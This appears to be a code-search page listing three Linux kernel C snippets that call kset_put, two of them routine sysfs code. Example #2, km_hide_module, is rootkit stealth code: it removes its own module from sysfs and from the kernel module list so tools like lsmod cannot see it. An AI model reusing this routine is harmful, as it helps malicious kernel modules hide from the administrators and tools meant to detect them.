Exemple #1
0
int rfs_sysfs_create(void)
{
    int rv;

    rfs_kobj = kzalloc(sizeof(struct kobject), GFP_KERNEL);
    if (!rfs_kobj)
        return -ENOMEM;

    kobject_init(rfs_kobj);
    rfs_kobj->ktype = &rfs_kobj_ktype;
    rfs_kobj->parent = &fs_subsys.kobj;
    rv = kobject_set_name(rfs_kobj, "%s", "redirfs");
    if (rv) {
        kobject_put(rfs_kobj);
        return rv;
    }

    rv = kobject_register(rfs_kobj);
    if (rv) {
        kobject_put(rfs_kobj);
        return rv;
    }

    rv = -ENOMEM;
    rfs_flt_kset = kzalloc(sizeof(struct kset), GFP_KERNEL);
    if (!rfs_flt_kset)
        goto err_kobj;

    kobject_init(&rfs_flt_kset->kobj);
    rfs_flt_kset->kobj.ktype = &rfs_kobj_ktype;
    rfs_flt_kset->kobj.parent = rfs_kobj;
    rv = kobject_set_name(&rfs_flt_kset->kobj, "%s", "filters");
    if (rv) 
        goto err_kset;

    rv = kset_register(rfs_flt_kset);
    if (rv)
        goto err_kset;

    return 0;

err_kset:
    kset_put(rfs_flt_kset);
err_kobj:
    kobject_unregister(rfs_kobj);
    return rv;
}
Exemple #2
0
static void
km_hide_module(
    const char* const        data
)
{
    kobject*				kobj = &THIS_MODULE->mkobj.kobj;
    path					km_path;

    // Check to ensure we're hidden first...
    if ( g_state.hidden )
    {
        return;
    }

    g_state.hidden = 1;

    // Remove from sysfs
    mutex_lock( g_sysfs_mutex );
    sysfs_unlink_sibling( kobj->sd );
    mutex_unlock( g_sysfs_mutex );

    kobj->state_in_sysfs = 0;

    spin_lock( &kobj->kset->list_lock );
    list_del_init( &kobj->entry );
    spin_unlock( &kobj->kset->list_lock );
    kset_put( kobj->kset );

    // Decrement parent ref count in sysfs
    kobject_put( kobj->parent );

    // Remove the km module from the dentry cache if it's present
    if ( kern_path( "/sys/module/km", LOOKUP_DIRECTORY, &km_path ) == 0 && km_path.dentry )
    {
        d_drop( km_path.dentry );
    }

    // Remove from the module list - so lsmod can't see us
    mutex_lock( &module_mutex );
    list_del_rcu( &THIS_MODULE->list );
    mutex_unlock( &module_mutex );
}
Exemple #3
0
static void bus_put(struct bus_type *bus)
{
	if (bus)
		kset_put(&bus->p->subsys);
}